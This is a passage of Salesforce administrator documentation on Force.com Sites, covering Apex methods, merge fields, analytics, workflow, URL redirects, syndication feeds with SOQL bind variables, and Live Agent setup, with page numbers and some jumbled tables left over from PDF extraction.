Force.com Sites-Related Apex Methods and Expressions

Name
getMaxAge

Arguments

Return Type Integer

Description Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie is deleted. Returns the name of the cookie. Can't be null. Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /. Returns the data captured in the cookie, such as Session ID. Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.

getName

String String

getPath

getValue isSecure

String Boolean

Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites: Name
generateUrlFor

Arguments System.PageReference[]

Return Type System.PageReference[]

Description Maps a list of Salesforce URLs to a list of user-friendly URLs. You can use List<PageReference> instead of PageReference[], if you prefer. Important: The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated list of user-friendly URLs. The generateUrlFor method maps input URLs to output URLs based on the order in the lists.

mapRequestUrl

System.PageReference

System.PageReference

Maps a user-friendly URL to a Salesforce URL.

For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex Code Developer's Guide.

Force.com Sites-Related Expressions


Force.com also provides the following expressions to use on Visualforce pages, email templates, and s-controls:

1717

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Merge Field {!$Site.Name} {!$Site.Domain} {!$Site.CustomWebAddress} {!$Site.OriginalUrl} {!$Site.CurrentSiteUrl} {!$Site.LoginEnabled} {!$Site.RegistrationEnabled} {!$Site.IsPasswordExpired} {!$Site.AdminEmailAddress} {!$Site.Prefix}

Description Returns the API name of the current site. Returns the Force.com domain name for your organization. Returns the value of the Custom Web Address field for the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns the value of the Site Contact field for the current site. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.

{!$Site.Template} {!$Site.ErrorMessage} {!$Site.ErrorDescription} {!$Site.AnalyticsTrackingCode}

Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use them within the context of your public site; otherwise, an empty string is returned for all expressions except {!$Site.Template}, which returns the default template for the site.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Login and Registration Settings

1718

Force.com Sites

Tracking Your Force.com Site with Google Analytics

Tracking Your Force.com Site with Google Analytics


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your sites and site pages, including number of visits, number of page views, average time spent on site, and more. Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a tracking code, go to the Google Analytics website. To track a site using Google Analytics: 1. Sign up for an account at Google Analytics. 2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track. 3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed by your account and profile numbers. For example, UA-9049246-2. 4. Click Save. 5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in the individual pages themselves:
<site:googleAnalyticsTracking/>

Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The default site template already contains the tag, so all pages using that template will be trackedincluding certain default pages. Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.

6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up to 24 hours to see initial tracking results in Google Analytics.

1719

Force.com Sites

Using Workflow for Force.com Sites

Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web property ID in the Analytics Tracking Code field for each site.

See Also:
Force.com Sites Overview Managing Force.com Sites Creating and Editing Force.com Sites Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites

Using Workflow for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create or change workflow rules: To create and edit Force.com sites: Customize Application Customize Application

With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth limit or when a site's status changes from the active state. Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth and service request time, and monthly limits for page views and logins. Workflow rules that are created on the Site object are evaluated every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that are created on the Organization and User License objects are evaluated every three hours. Only email alert actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and outbound messages, are not available. To create a site usage workflow rule, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules, then use the workflow rule wizard with the following settings: Select Object When selecting an object, choose one of the following:
Organization (for monthly page views allowed and monthly page views used fields) Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields) User License (for the monthly logins allowed and monthly logins used fields)

The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your organization.

1720

Force.com Sites

Force.com Sites URL Redirects

Rule Criteria Enter your rule criteria by doing one of the following: Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status not equal to Active. To add more rows or to set up Boolean conditions, click Add Filter Logic. Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns True. For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth limit:
DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit

In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:
DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit

Workflow actions When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing Action. Tip: To create custom email templates using Site merge fields, click Your Name > Setup > Communication Templates > Email Templates, then New Template. When configuring the template, use Site merge fields by selecting Site Fields in the Select Field Type drop-down list of the Available Merge Fields section.

See Also:
Force.com Sites Overview

Force.com Sites URL Redirects


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit site URL redirects: To view site URL redirects: Customize Application View Setup

If you move or reorganize pages on your Force.com site, search engines may have trouble finding the new page locations. To avoid this, set up site URL redirects to inform users and search engines that site content has moved. Consider the following while implementing site URL redirects: You can't redirect error pages or CSS files (files with a .css extension). Each site can have a maximum of 1,000 redirect rules.

1721

Force.com Sites

Force.com Sites URL Redirects

Query parameters in site URL redirects are matched exactly. However, you can't redirect any URLs that include the lastMod parameter. If you have URL rewriting enabled on your site, it runs after any site page redirects. For more information about the Site.UrlRewriter Apex interface, see the Force.com Apex Code Developer's Guide.

To assign a redirect to a site page: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click a site label. Click URL Redirects on the site detail page. Specify the former page location in the Source URL field. The page location must: Be a relative URL. It can have any valid extension type, such as .html or .php. Not contain anchors, such as /siteprefix/page.html#target. Note: Organizations that use sites with prefixes must manually add the prefix to the Source URL and Target URL fields. Also, if your organization has a root level site and one with a prefix, and you want to redirect a page in your prefixed site but don't include the prefix in the redirect rule, Salesforce will default to looking for the rule in your root site instead, resulting in a 404 error. 5. Specify the Redirect Type: Permanent (301)Select this option if you want users and search engines to update the URL in their systems when visiting the page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index the new page and remove the obsolete source URL from their indexes. Temporary (302)Select this option if you want users and search engines to keep using the original URL for the page. Search engines interpret a 302 redirect as one that could change again at any time, and though they index and serve up the content on the new target page, they also keep the source URL in their indexes.

6. Specify the new page location in the Target URL field. This can be a relative URL or a fully-qualified URL with an http:// or https:// prefix. Unlike source URLs, target URLs can contain anchors. 7. Click Save. The Redirect Rules section displays all URL redirect rules you've created for your site. In this section you can: Edit an assigned redirect rule. Activate or deactivate a redirect rule. Delete a redirect rule. Click the Source URL or Target URL column heading to sort the list in ascending or descending order.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites

1722

Force.com Sites

Troubleshooting Force.com Sites Using Administrator Preview Mode

Troubleshooting Force.com Sites Using Administrator Preview Mode


Available in: Developer, Enterprise and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

If you see errors on site pages and can't figure out the cause, use administrator preview mode to look at them in context and in greater detail. Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.

To access administrator preview mode: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to preview. 3. In the Site Detail section, click the Preview as Admin link. A new browser window opens with a preview of your site, and the enhanced error message appears at the bottom of the page. 4. Click Logout of Administrator Preview Mode to clear the administrator cookie and be redirected to the site's home page. The detailed error messages in administrator preview mode are driven by the <site:previewAsAdmin /> component in your Visualforce error pages. Starting with Summer '10, new organizations include the <site:previewAsAdmin /> component by default in standard error pages. You must add the component manually to all custom error pages and pages from older organizations. We recommend that you add it right before the closing </apex:page> tag, like this:
<site:previewAsAdmin /> </apex:page>

Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that tag elsewhere on your error pages, you will see the detailed error message twice.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites Assigning Force.com Site Error Pages

1723

Force.com Sites

About Syndication Feeds

About Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

Validating Feeds Security


When a user subscribes to a feed, the information is run in a guest user context. This means that you must ensure the guest user has access to all and only the records appropriate for a guest use before defining any queries. To validate feeds security: Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level security settings. Create sharing rules to control which records the guest user has access to.

After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available to the guest user, perform any of the following feeds-related tasks: To create a new feed, click New. To view the definition of an existing feed, click the feed name. To edit an existing feed, click Edit. To delete an existing feed, click Delete. To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are displayed.

See Also:
Defining Syndication Feeds Testing Syndication Feeds Public Access Settings for Force.com Sites Setting Your Organization-Wide Sharing Defaults

1724

Force.com Sites

Defining Syndication Feeds

Defining Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page. Define a syndication feed, including what records are returned, and which data from the records is displayed: Name A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or the underscore character _. Do not use more than one underscore character in a row. Description Describe the feed. For example, Account first name, last name, and region for the last ten accounts created or edited. Query The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some limitations on the SOQL query are imposed: If the SOQL query does not specify a limit, then no more than 20 records are returned. Query limits can't exceed 200 results. If you make a query with a limit beyond this number, only the first 200 records are returned. If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate value if there is one, or by SystemModstamp value if not COUNT is not supported. Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

For more information about aggregate relationship queries, see the aggregate query examples in SOAP API Developer's Guide. You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables for Queries and Mapping on page 1728. Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query, because the Force.com platform verifies access and sharing before saving.

1725

Force.com Sites

Defining Syndication Feeds

Mapping Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more information about mapping elements, see ATOM-Object Mapping on page 1726. You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables for Queries and Mapping on page 1728. Max Cache Age Seconds Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default. You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user opens a page containing a feed that they have subscribed to. Active Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing to it.

ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to the corresponding value in a record, for example, Account Name. A full set of mappings represents a news feed, and the query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated Account information. A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope. Mapping also allows you to apply short labels to various fields for display purposes. The following table lists each ATOM and object element and explains what values should be provided: Feed Element
fa

Entry Element Description Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme Feed Author Admin Mary" shows the feed author as Admin Mary. Optional (because default value is supplied). Id of the feed. By default, this value is the public site URL. If you specify a value, it must be a valid internationalized resource identifier (IRI). An IRI is a URL generalized to allow the use of Unicode. Optional (because default value is supplied). Feed link. For example, fl:"http://www.salesforce.com". News readers usually interpret this element by linking the feed title to this URL. Optional. Feed subtitle. For example, &map=ft:"Newest Opportunities",fst:"Western Division" shows the feed title Newest Opportunities and subtitle Western Division. Required. Feed title. For example, ft:"Newest Opportunities".
ea

fid

fl

fst

ft

Required only if fa (feed author) is not specified. Entry author. For example, ea:"Account created by: " + Account.CreatedBy .

1726

Force.com Sites

Defining Syndication Feeds

Feed Element

Entry Element Description


ec

Required. Entry content. For example,ec:"description for " Name "<br>" Description shows the value of the Name field with additional text. The output of a feed for this example resembles the following:
description for Ajax Industries Description

ect

Optional. Entry content of type text, html, or xhtml. For example, ect: html for HTML content. Default is text. Optional. Entry link. Must be a valid URI. This value is usually a link to another representation of the content for the entry. For example, the link could be to a record in the Salesforce user interface. News readers usually interpret this element by linking the entry title to this URL For example, el:"Account.URl". Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "s account number, website, and description", ec: Account.Number + " " + Account.Website + + Account.Description

el

es

If not specified, news readers display the content defined using the ec element.
est

Optional. Entry summary of type text, html, or xhtml. For example, est: html for HTML content. Default is text. Do not specify a value unless es has been specified. Required. Entry title, a field name. For example, et:Name. Optional. By default, the required ATOM element <updated> value is automatically provided by the LastModifedDate of the main entity being queried; usually the object in the main FROM clause of the SOQL query. This value indicates the last time an entry or feed was modified. If you wish to change this default behavior, you can specify a different object or field's LastModifedDate be used. For example: Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:
eu: MyDate__c Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM ContactMapping Parameter: eu: Account.LastModifiedDate

et eu

The following example shows a valid mapping values for a syndication feed:
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id, ect: html

Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of the guest user. For more information, see Custom Labels and Feeds on page 1728. You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK. After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described above. For more information about testing, see Testing Syndication Feeds on page 1729.

1727

Force.com Sites

Defining Syndication Feeds

Using Bind Variables for Queries and Mapping


You can use bind variables in the WHERE clause of the SOQL query. Bind variables must be in the following form:
{!var_name}

The following query uses a bind variable named accountID.


SELECT Name, Description FROM Account WHERE Id = {!accountID}

Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query string parameter:
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

You can also use bind variables for mapping values. The following implementation details apply to the use of bind variables for queries: You cannot use more than 20 bind variables in a feed definition, queries and mapping combined. The bind variable name cannot be more than 100 characters. You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents part of a string, it must be in quotes. For example, the following is a valid query:
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable for a literal string:
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe' SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a filter operation. You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.

Custom Labels and Feeds


For feeds that need to be localized into different languages, you can use custom labels to define the string in multiple languages. Then in the mapping definition, you simply refer to the custom label. When a request come in, the custom label inspects the guest user language and return the translated text, which is used in the mapping. Custom labels can be specified in a field with the following syntax:
map_element_name: "{!$LABEL.custom_label_name}"

Use the following procedure to specify a custom label in a feed: 1. Create a custom label using the information in Creating and Editing Custom Labels on page 1814. You may wish to name the custom label after the mapping element that takes its value, for example feedTitle for the ft element. 2. Enter the values for all supported languages.

1728

Force.com Sites

Testing Syndication Feeds

3. Specify the custom label in the feed mapping. For example, assume that you create a feed containing information on all the houses your company is trying to sell. For English users, the title of the feed should be The Houses, but for Spanish users, the title of the feed should be Las Casas. You would create a custom label, for example, feedTitle. In English, its value is The Houses, and the Spanish value is Las Casas. Then, in the feed mapping definition, specify the following for the feed title fc::
ft: "{!$LABEL.feedTitle}"

Visualforce and Feeds


To add a feed to a Visualforce page, use the Visualforce standard HTML features. For example, assuming the Visualforce page is located in the base directory of the site, it can contain a tag like the following:
<A HREF=""/services/xml/theFeedName">My feed</A>

The text My feed links to the feed. If you want to link the feed from an image, include an inline image tag similar to the following:
<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

You must upload your own image. To add the icon to the address bar, add the link tag to the <head> tag of the Visualforce page:
<link href='URI of feed' type='application/x.atom+xml' rel='feed' title='A nice descriptive title'/>

For more information about Visualforce, see the Visualforce Developer's Guide.

See Also:
About Syndication Feeds Testing Syndication Feeds

Testing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

Test the feed definition you have created before enabling it for customers. To test a feed:

1729

Force.com Sites

Viewing Syndication Feeds

1. After creating a feed, navigate to Your Name > Setup > Sites and click the site for which you've defined the feed. Alternatively, you can navigate to the feed detail page any number of ways, including clicking the feed name from the site detail page. 2. Click Preview for the feed you wish to test. 3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable. 4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save the bookmark, or cancel the dialog. 5. The values returned by your feed are displayed. Verify that the results are what you expected.

See Also:
Defining Syndication Feeds About Syndication Feeds

Viewing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

View the syndication feed definition, including what records are returned, and which data from the records is displayed: Name A descriptive name for this feed, which distinguishes it from other feeds you may create. Description Describes the feed. For example, Account first name, last name, and region for the last ten accounts created or edited. Query The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1725. Mapping Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more information about mapping elements, see Defining Syndication Feeds on page 1725. Max Cache Age Seconds Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default. This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time

1730

Live Agent Setup

Setting Up Live Agent

specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user opens a page containing a feed that they have subscribed to. Active This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of subscribing to it.

See Also:
Defining Syndication Feeds About Syndication Feeds Testing Syndication Feeds

LIVE AGENT SETUP


Setting Up Live Agent
Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To set up Live Agent: To create user profiles or permission sets: Customize Application Manage Users

1. 2. 3. 4. 5. 6. 7. 8.

Enable Live Agent for your organization. Create user profiles or permission sets to determine which users can access chat transcripts and visitor records. Create Live Agent users. Assign users a configuration to give them access to the Live Agent console. Identify a set of skills to help route incoming chats to the right agents. Create skills and assign users to them. Determine the number and type of deployments that your organization requires. If you want to brand the chat windows your visitors see (for example, to display your company's logo), create one or more Force.com sites to host the images. 9. Upload the images as static resources. 10. Create deployments, and add the deployment code to each Web page that will have a chat button. 11. Create chat buttons. Optionally: Customize the Live Chat Transcript page. Customize the Live Chat Visitor page.

1731

Live Agent Setup

Setting Up Live Agent

Add a custom Chat Answer field to Salesforce Knowledge article types to let agents copy information from an article into a chat. Create Quick Text messages to help agents chat with customers more efficiently. Set up Live Agent in the Service Cloud console.

Setup Tips
We recommend that advanced Salesforce administrators and developers set up and maintain Live Agent, as the process involves multiple steps and significant customization. Live Agent requires feature licenses, which you can purchase by contacting salesforce.com. Each Live Agent user needs his or her own feature license. We recommend that you review the following questions before setting up Live Agent: How many deployments do you need? Deployments control the look and feel of your chat windows. If your customer service department supports multiple products or websites, you may want to create several different deployments. How do you want to divide and define agent skill sets? Each chat button you create is associated with a particular skill, such as technical support, billing, or general inquiries. Before you can create chat buttons, you need to create skills and assign them to users or user profiles. How many agent configurations do you need? Configurations determine agents chat capacity, or how many active chats they can participate in at a time, as well as the chatlets they have access to. You may want to create one configuration for junior agents, for example, with a low chat capacity and access to only the basic chatlets, and another for supervisors, with a higher chat capacity and access to all chatlets. What Quick Text categories and subcategories do you need? Defining and creating an effective categorization system for your Quick Text messages will make it easier for agents to find the ones they need when chatting with customers. Do you want your users to see customized pre-chat forms or post-chat pages? You might want to create a pre-chat form that collects information such as a users name and a short description of their question or issue, for example, or a post-chat page with a link to a survey about the customers experience with your support team. Creating pre-chat forms and post-chat pages requires knowledge of HTML, Javascript, and Visualforce. If you choose to use a Force.com site to customize your chat buttons or deployments, you need to create the site and upload images to it as static resources before creating buttons or deployments.

See Also:
Live Agent Deployment Overview Assigning Live Agent Permissions

Enabling Live Agent


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To enable Live Agent: Customize Application

To enable Live Agent for your organization:

1732

Live Agent Setup

Creating Live Agent Users

1. Click Your Name > Setup > Customize > Live Agent > Settings. 2. Select Enable Live Agent. 3. Click Save.

See Also:
Giving Support Agents Access to Quick Text Quick Text Home

Creating Live Agent Users


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create or edit users: Manage Users

1. Click Your Name > Setup > Manage Users > Users. 2. Click Edit next to a user's name. 3. Select Live Agent User. If you dont see this checkbox, make sure your organization has purchased enough Live Agent feature licenses. 4. Make sure the user has the correct profile based on the permissions required. 5. Click Save. After creating users, make sure that you assign them a Live Agent configuration and associate them with the appropriate skills.

Assigning Live Agent Permissions


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

Access to and interactions with certain types of Live Agent records, such as chat transcripts, visitor records, and Quick Text messages, are controlled by object permissions. When you create profiles or permission sets for Live Agent users, youll grant Create, Read, Edit, or Delete permissions on objects depending on the functionality your users need. For example: Agents need at least the Read permission on Live Chat Visitors and Live Chat Transcripts to review visitor and transcript records. In addition, you might need to give users in supervisory or compliance roles Create, Edit, and Delete permissions on these objects. For example, supervisors may need to flag some records for follow up for training purposes, or they may need to add additional comments or update other information in the records. For compliance purposes, some users might need to delete records if they contain sensitive information. Other users who want to see transcripts and visitor records will need Read permission on these objects. To create Quick Text messages, users need Create, Read, Edit, and Delete permissions on the Quick Text object.

1733

Live Agent Setup

Agent Configuration Overview

To access the Quick Text sidebar in the Live Agent console, agents need at least Read permission on Quick Text. Note: Salesforce automatically creates visitor and transcript records for each chat regardless of which permissions an agent has on Live Chat Visitor and Live Chat Transcript.

In addition, for best performance, give users the API Enabled administrative permission.

See Also:
Overview of User Permissions and Access Adding a Single User

Agent Configuration Overview


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

Agent configurations control the following functionality of the Live Agent console: Which chatlets on page 3620 are enabled. Chat capacity, which is the number of simultaneous chat sessions an agent can participate in. Whether or not a sound plays when a new chat is available or when the agent is disconnected from a chat session. Whether or not notifications appear in the agents browser for incoming chat requests. Whether or not sneak peek is enabled. Sneak peek lets agents see what visitors are typing before visitors send messages. The greeting message that appears automatically to visitors when a chat begins.

You give Live Agent users access to the Live Agent console by assigning them a configuration either through a profile or at the user level. If a user is assigned a configuration at both the profile and user level, the user-level configuration overrides the profile one. You can only assign users to one configuration at a time. Users that arent associated with a configuration get the default configuration: All chatlets enabled Unlimited chat capacity Sneak peek enabled Request sound and disconnect sounds disabled Auto greeting disabled

Configurations let you give agents the Live Agent console functionality that makes sense for their skill levels and job requirements. For example, you might want to create different configurations for new and experienced agents. The configurations can contain the same chatlets and visitor greeting, but specify different chat capacities: new agents are assigned a capacity of two chats, while experienced users are assigned a capacity of five chats. Then, depending on what makes sense for your organization, you can assign configurations by: Creating separate profiles for new and experienced agents, and then associating the new agent profile with the new agent configuration, and the advanced agent profile with the advanced configuration. Creating a single profile, assigning it to the new agent configuration, and then assigning the advanced configuration to experienced agents the at the user level.

1734

Live Agent Setup

Creating Agent Configurations

The number of configurations you have may depend on the size of your organization. For example, in a small organization, you might have three configurations: one for new agents, one for experienced agents, and a third for supervisors. In a global enterprise, you could have dozens of configurations. We recommend that you assess your organizations configuration requirements as part of your implementation planning.

See Also:
Creating Agent Configurations Setting Up Live Agent

Creating Agent Configurations


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

User Permissions Needed To create and edit configurations: Customize Application

For efficiency, consider creating profiles and users before creating configurations so that you can create a configuration and assign it at the same time. 1. 2. 3. 4. Click Your Name > Setup > Customize > Live Agent > Agent Configuration. Click New. Enter a name for the configuration. This name, or a version of it, automatically becomes the Developer Name. Enter a value in Chat Capacity to specify the maximum number of chats an agent can participate in simultaneously. Entering zero or leaving the value blank gives the agent unlimited chat capacity. 5. Select Sneak Peek Enabled to let agents preview what visitors type before they send a message. 6. Select Request Sound Enabled to play a tone when a new chat request is available. The tone isn't customizable. 7. Select Disconnect Sound Enabled to play a tone when an agent gets disconnected from the Live Agent console. The tone isn't customizable. 8. Select Notifications Enabled to display a desktop alert when a new chat request is available. Note: Alerts and notifications are supported only in certain browsers. See Live Agent Notifications Overview on page 1736 for more information. 9. Enter a message in Auto Greeting that visitors see when they start a new chat session. 10. Select Auto Away on Decline to automatically change agents status to Away when they decline chat requests. Note: this option applies only when agents are assigned to chat buttons that use push routing. 11. Select the chatlets on page 3620 to include in the Live Agent console. 12. In the Assign Users area, select individual users for the configuration. 13. In the Assign Profiles area, select profiles for the configuration.

1735

Live Agent Setup

Live Agent Deployment Overview

When you associate a profile with a configuration, all users with that profile are assigned the configuration unless they are assigned a different configuration at the user level. See Agent Configuration Overview for more information.

See Also:
Agent Configuration Overview Setting Up Live Agent

Live Agent Notifications Overview


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

There are two types of notifications available in Live Agent: Chat request notifications, which alert support agents to incoming chats Disconnect notifications, which signal that a support agent has been disconnected from the Live Agent console

Administrators can enable notifications when creating or editing chat deployments. See Creating Deployments for more information. Notes and Limitations Chat request notifications are available as audio alerts and as desktop alerts. Audio alerts are available in the following browsers: Mozilla Firefox, most recent stable version Google Chrome, most recent stable version Apple Safari version 5.1.x on Mac OS X Windows Internet Explorer version 9

Desktop alerts are available only in the most recent stable version of Google Chrome. After desktop alerts are enabled in a chat deployment, support agents must enable them in their browsers by clicking Enable Notifications in the chat request list in the agent console. Once agents have enabled desktop alerts in their browsers, alerts appear each time a new chat request is available.

Live Agent Deployment Overview


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

A deployment is a place on your company's website that's enabled for Live Agent. Deployments let you: Create the code that you add to Web pages to enable them for Live Agent. Control the appearance of the Chat window that visitors access from the Web page. You do this by adding images (for example, your company's logo) to a deployment to brand it.

1736

Live Agent Setup

Skills Overview

Enhance security and minimize the number of illegitimate chat requests you receive by specifying the domains allowed to host chat buttons. Segment your visitor traffic to better understand the different types of visitors using chat for service or sales support. Chat agents can see deployment information for each visitor, and the deployment is saved as part of the chat transcript.

A deployment consists of a few lines of JavaScript that you add to a Web page. Your organization can have a single Live Agent deployment or multiple deployments. For example, if you have a single service center that supports multiple websites, creating a separate deployment for each site lets you present different Chat windows to your visitors.

See Also:
Creating Deployments Using Permitted Domains with Live Agent Deployments Chat Button Overview Creating Chat Buttons

Using Permitted Domains with Live Agent Deployments


Available in: Enterprise and Unlimited Editions, and Developer Edition organizations created after June 14, 2012

